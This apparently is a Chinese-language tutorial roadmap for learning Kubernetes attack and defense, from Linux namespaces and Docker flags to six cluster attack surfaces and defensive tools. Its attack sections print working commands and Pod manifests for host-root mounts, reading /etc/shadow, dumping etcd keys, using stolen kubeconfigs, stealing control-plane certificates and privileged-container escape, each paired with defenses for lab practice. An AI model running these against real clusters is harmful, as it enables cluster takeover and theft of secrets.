等待学习-Kubernetes 安全攻防
面向完全没有接触过云原生安全的同学,从 Linux 底层一路学到 K8s 集群攻防。全程 8-10 周,每天 1-2 小时。
路线总览
第一阶段 Linux 底层隔离机制(第1-2周)
↓
第二阶段 Docker 容器原理(第3周)
↓
第三阶段 Kubernetes 基础操作(第4-5周)
↓
第四阶段 K8s 六大攻击面(第6-7周)
↓
第五阶段 防御体系与工具(第8周)
第一阶段:Linux 底层隔离机制(第1-2周)
为什么先学这个:Kubernetes 跑在 Linux 上,容器隔离靠的就是 Linux 的 Namespace 和 Capabilities。不懂这两个,后面所有攻击和防御都是黑箱。
1.1 Linux 基础命令(2天)
先装一个 Ubuntu 虚拟机(VirtualBox 免费),然后每天敲这些命令,直到不用查就能用。
| 命令 | 作用 | 后面用在哪 |
|---|---|---|
ps aux | 查看所有进程 | 理解 PID Namespace |
ip addr | 查看网络接口 | 理解 Net Namespace |
ss -tlnp | 查看监听端口 | 排查 K8s 组件暴露 |
mount | df -h | 查看挂载点 | 理解 Mount Namespace |
ls -la /proc/ | 查看进程信息 | 调试容器 |
chmod 755 | 修改权限 | 理解 Capabilities |
sudo -i | 切换 root | 对比权限差异 |
过关标准:不看文档,能说出每个命令在干什么。
1.2 Linux Namespace —— 容器隔离的真相(3天)
核心概念(大白话)
Namespace 就是 Linux 给进程戴的"眼罩"。戴了不同的眼罩,进程看到的世界就不一样。
| Namespace | 隔离了什么 | 大白话 |
|---|---|---|
| PID | 进程号 | 容器里看不到宿主机的进程 |
| NET | 网络栈 | 容器有自己独立的 IP 和端口 |
| MNT | 挂载点 | 容器看到自己独立的文件系统 |
| IPC | 进程间通信 | 容器之间默认不能互相通信 |
| UTS | 主机名 | 容器有自己的 hostname |
| USER | 用户 ID | 容器里的 root ≠ 宿主机的 root |
实操:自己动手创建 Namespace
① PID Namespace
# 创建一个新的 PID namespace,在里面跑一个 bash
unshare --pid --fork --mount-proc bash
# 进去之后
ps aux # 你会发现只能看到这个 namespace 里的进程
echo $$ # 看看自己的 PID,通常是 1
exit # 退出 namespace
② NET Namespace
# 创建新的网络 namespace
ip netns add myns
# 进入这个 namespace
ip netns exec myns bash
# 进去之后
ip addr # 看到的网络和外面完全不一样
ping 8.8.8.8 # 可能通可能不通,取决于配置
exit
③ MNT Namespace(最关键)
# 创建新的挂载 namespace
unshare --mount --fork bash
# 进去之后
mount | grep / # 看到的根目录是独立的
df -h # 磁盘信息也是独立的
exit
调试命令:nsenter
# 找到目标容器的 PID
docker inspect <容器名> | grep Pid
# 进入容器的 namespace
nsenter --target <PID> --mount --uts --ipc --net --pid
# 你现在就"在"容器里面了
过关标准:能解释"容器为什么能隔离进程和网络",并手动复现上面三个实验。
1.3 Linux Capabilities —— root 权限的拆分(2天)
核心概念(大白话)
以前容器要么是 root(太危险),要么不是 root(很多事干不了)。
Capabilities 的思路是:把 root 权限拆成 40 多块小饼干,需要什么给什么。
| 能力 | 作用 | 实际影响 |
|---|---|---|
CAP_NET_BIND_SERVICE | 允许非 root 进程绑定 1024 以下端口 | 很多攻击容器需要绑定低端口 |
CAP_SYS_ADMIN | 超级权限,几乎能干所有事 | 特权容器的核心就是加了这个 |
CAP_DAC_OVERRIDE | 绕过文件权限检查 | 容器逃逸常用 |
CAP_SYS_MODULE | 加载内核模块 | 高端逃逸手段 |
CAP_NET_RAW | 使用原始套接字 | 网络扫描攻击 |
实操:查看自己有哪些能力
# 查看当前 shell 的能力
capsh --print
# 对比普通用户和 root 的差异
sudo capsh --print
你会看到 root 有几十个能力,普通用户只有几个。
最佳实践
# 生产环境推荐:去掉所有能力,再按需添加
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx
过关标准:能说出"为什么容器不该用 --privileged",知道 CAP_SYS_ADMIN 是什么。
第二阶段:Docker 容器原理(第3周)
为什么学这个:Kubernetes 管理的就是容器。不懂 Docker,就看不懂 K8s 的攻击载荷是怎么跑起来的。
2.1 核心概念(1天)
| 概念 | 大白话 |
|---|---|
| 镜像(Image) | 容器的"安装包",只读模板 |
| 容器(Container) | 镜像跑起来的实例,可读写 |
| 仓库(Registry) | 存放镜像的地方,如 Docker Hub |
| Dockerfile | 造镜像的"配方" |
2.2 关键参数 —— 攻击全在这里(4天)
| 参数 | 作用 | 攻击中的用法 |
|---|---|---|
-v /host:/container | 挂载宿主机目录到容器 | HostPath 挂载逃逸 |
--privileged | 给容器几乎所有权限 | 特权容器逃逸 |
--network host | 容器共用宿主机网络 | hostNetwork 横向移动 |
--pid host | 容器看到宿主机所有进程 | 配合 nsenter 调试/逃逸 |
-p 80:80 | 端口映射 | 暴露服务 |
--cap-add=ALL | 给所有能力 | 等同于 privileged |
--cap-drop=ALL | 去掉所有能力 | 安全最佳实践 |
--restart=always | 容器退出后自动重启 | 持久化恶意负载 |
实操:特权容器到底能干什么
docker run -it --privileged --pid=host --network=host \
-v /:/host \
ubuntu bash
# 进入容器后
ls /host # 能看到宿主机所有文件
ps aux # 能看到宿主机所有进程
cat /host/etc/shadow # 能读宿主机密码文件(如果有权限)
ip addr # 能看到宿主机所有网络接口
这就是容器逃逸的基本原理。后面 K8s 里的 HostPath 挂载攻击,本质就是这个。
实操:用 hostNetwork 做什么
docker run -it --network host alpine sh
# 进去之后
ss -tlnp # 能看到宿主机所有监听端口
curl localhost:6443 # 能直接访问 K8s API Server
过关标准:能手动复现特权容器,并说出每个参数在攻击中对应什么。
第三阶段:Kubernetes 基础操作(第4-5周)
目标:认识 K8s 的每个组件,能用 kubectl 操作集群。这是后面所有攻击的前提。
3.1 架构与组件(2天)
┌──────────── 控制平面(Master)────────────┐
│ API Server ← 所有操作的入口,攻击首要目标 │
│ etcd ← 存所有数据,包括密码和证书 │
│ Controller Manager ← 维护集群状态 │
│ Scheduler ← 决定 Pod 跑在哪个节点 │
└──────────────────────────────────────────┘
┌──────────── 工作节点(Node)──────────────┐
│ kubelet ← 管理本节点 Pod 的生命周期 │
│ kube-proxy ← 网络代理,容易误配置暴露 │
│ 容器运行时(Docker/containerd) │
└──────────────────────────────────────────┘
记忆口诀:Master 管决策,Node 管执行,API Server 是大门,etcd 是保险箱。
3.2 核心资源(3天)
| 资源 | 是什么 | YAML 关键字 |
|---|---|---|
| Pod | 最小调度单位,一个或多个容器 | spec.containers |
| Deployment | 管理 Pod 的副本和更新 | spec.replicas |
| Service | 给 Pod 提供固定访问入口 | spec.ports |
| Namespace | 逻辑隔离,多租户用 | metadata.namespace |
| ConfigMap | 存配置信息(非敏感) | data |
| Secret | 存敏感信息(密码、证书) | data(base64 编码) |
| ServiceAccount | Pod 的身份,决定它有什么权限 | spec.serviceAccountName |
3.3 污点与容忍(2天)← 横向移动的核心
大白话
- 污点(Taint):Node 说"我不欢迎某类 Pod"
- 容忍(Toleration):Pod 说"我不介意,让我上去"
# 给 Master 打污点,不让普通 Pod 调度上去
kubectl taint nodes master-node node-role.kubernetes.io/control-plane:NoSchedule
# Pod 要上去,必须加容忍
spec:
tolerations:
- key: "node-role.kubernetes.io/control-plane"
operator: "Exists"
effect: "NoSchedule"
攻击用法
攻击者构造一个 Pod,加上容忍,再指定 nodeName: master-node,直接跳过调度器,强制跑到 Master 上。
实操
# 在本地集群里操作
kubectl taint nodes minikube key=value:NoSchedule
# 创建一个 Pod,不加容忍 → 看它是不是 Pending
# 再创建一个,加上容忍 → 看它能不能调度上去
过关标准:能手写一个带容忍的 YAML,让 Pod 调度到被污点标记的节点。
3.4 搭建本地集群(1天)
# 方案一:Minikube(推荐新手)
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
chmod +x minikube-linux-amd64
sudo mv minikube-linux-amd64 /usr/local/bin/minikube
minikube start
# 方案二:Kind(更轻量)
# 去 https://kind.sigs.k8s.io/ 下载安装
验证:kubectl get nodes 能看到节点。
第四阶段:K8s 六大攻击面(第6-7周)
这是本文的核心。每个攻击面都按 原理 → 攻击链 → 实操 → 防御 四步讲。
攻击面一:API Server 未授权访问
原理
| 端口 | 说明 | 风险 |
|---|---|---|
| 8080 | 早期版本默认端口,无认证 | 直接访问 = 拿到集群控制权 |
| 6443 | HTTPS 端口,有 TLS 认证 | 配置不当可绕过 |
攻击链
未授权访问 API Server → 获得集群权限 → 创建恶意 Pod → 挂载宿主机 / → 拿到 root
实操
# 尝试连接 8080 端口
curl -k https://<master-ip>:8080/api/v1/nodes
# 如果通了,直接创建恶意 Pod
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
containers:
- name: evil
image: alpine
command: ["sleep", "3600"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
HostPath:
path: /
EOF
# 进入容器
kubectl exec -it evil-pod -- sh
ls /host/etc/
cat /host/etc/shadow
防御
- 永远关掉 8080 端口
- 开启 RBAC 认证
- 配置 TLS 双向认证
攻击面二:Dashboard 暴露
原理
Dashboard 是 K8s 的 Web 管理界面。如果:
公网暴露 + Skip Login + 高权限 ServiceAccount = 直接接管集群
实操
# 部署 Dashboard
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.7.0/aio/deploy/recommended.yaml
# 用 kubectl proxy 访问
kubectl proxy
# 浏览器打开 http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
防御
- 不要公网暴露
- 关掉 Skip Login
- 用 RBAC 限制权限
攻击面三:etcd 敏感信息泄露
原理
etcd 存了集群所有数据:Secrets(密码)、证书、配置。如果 2379 端口未授权访问,等于把保险箱钥匙给你了。
实操
# 如果能访问 etcd
ETCDCTL_API=3 etcdctl --endpoints=https://<master>:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only
# 你会看到所有 Secret、ConfigMap、证书的 key
防御
- etcd 必须开 TLS
- 限制访问 IP
- 定期轮换证书
攻击面四:kubeconfig 窃取
原理
kubeconfig 文件 = 集群地址 + CA 证书 + 用户 token。拿到它,离线也能控制集群。
常见泄露位置
| 位置 | 说明 |
|---|---|
| GitHub 代码仓库 | 搜 kubeconfig 能找到大量真实配置 |
| 网盘备份 | 很多人把 kubeconfig 传到百度网盘 |
| CI/CD 日志 | Jenkins、GitLab CI 日志里经常泄露 |
实操
# 拿到一个 kubeconfig 文件后
export KUBECONFIG=./stolen-kubeconfig
kubectl get nodes # 直接就能操作集群
kubectl get secrets -A # 看到所有密码
防御
- kubeconfig 不要提交到代码仓库
- 用短期 token
- 限制 token 权限范围
攻击面五:污点容忍滥用 + nodeName 横向移动
原理
这是从普通 Pod 逃逸到 Master 节点的经典路径。
普通 Pod → 加容忍 + 指定 nodeName=master → 调度到 Master
→ 挂载 /etc/kubernetes/pki → 拿到证书
→ 用证书访问 API Server → 集群接管
实操
apiVersion: v1
kind: Pod
metadata:
name: attack-pod
spec:
nodeName: master-node # ← 指定节点,绕过调度器
containers:
- name: attack
image: alpine
command: ["sleep", "3600"]
volumeMounts:
- name: pki
mountPath: /etc/kubernetes/pki
readOnly: true
volumes:
- name: pki
HostPath:
path: /etc/kubernetes/pki
tolerations: # ← 容忍 Master 的污点
- key: "node-role.kubernetes.io/control-plane"
operator: "Exists"
effect: "NoSchedule"
kubectl apply -f attack-pod.yaml
kubectl exec -it attack-pod -- sh
ls /etc/kubernetes/pki/
# 你会看到 apiserver.crt、apiserver.key、etcd 证书等
防御
- 不要给普通用户创建 Pod 的权限
- Master 节点加强污点
- 监控异常 Pod 调度
攻击面六:特权容器逃逸
原理
恶意 Pod → --privileged + hostNetwork + hostPID
→ 在容器里 nsenter --target 1 --mount --uts --ipc --net --pid
→ 直接进入宿主机命名空间 → 完全控制节点
实操
kubectl run privileged-pod --image=alpine \
--privileged \
--overrides='{"spec":{"hostNetwork":true,"hostPID":true}}' \
--command -- sleep 3600
kubectl exec -it privileged-pod -- sh
# 在容器里
apk add util-linux
nsenter --target 1 --mount --uts --ipc --net --pid
# 你现在在宿主机上了
防御
- 永远不要用 --privileged
- 用 Pod Security Admission 策略禁止
第五阶段:防御体系与工具(第8周)
| 方向 | 工具 | 用途 |
|---|---|---|
| 漏洞扫描 | kube-hunter | 扫描集群安全配置 |
| 镜像扫描 | trivy | 扫描镜像里的漏洞和敏感信息 |
| 运行时检测 | falco | 检测异常系统调用 |
| 网络策略 | Calico / Cilium | 限制 Pod 之间的通信 |
| 准入控制 | Pod Security Standards | 禁止特权容器 |
| 审计 | kube-audit | 检查 API Server 的访问日志 |
学习节奏总表
| 周 | 内容 | 每天时间 | 关键产出 |
|---|---|---|---|
| 1-2 | Linux Namespace + Capabilities | 1.5h | 能手动创建 namespace,说出 5 个 capabilities |
| 3 | Docker 关键参数 | 1.5h | 能手动跑特权容器,知道每个参数的攻击用途 |
| 4-5 | K8s 基础 + 污点容忍 | 2h | 本地集群跑起来,能手写 Pod YAML |
| 6-7 | 六大攻击面复现 | 2h | 每个攻击都在本地集群复现一遍 |
| 8 | 防御 + 工具 | 1.5h | 能用 kube-hunter 扫一遍自己的集群 |
最后说一句
K8s 安全攻防的核心逻辑就一句话:
谁能创建 Pod,谁就能控制集群。谁能访问 etcd,谁就能拿到所有密码。
所有攻击面,归根到底都在争这两件事。
先把第一阶段的 Linux Namespace 搞懂,后面 70% 的内容自然就通了。
1013

被折叠的 条评论
为什么被折叠?



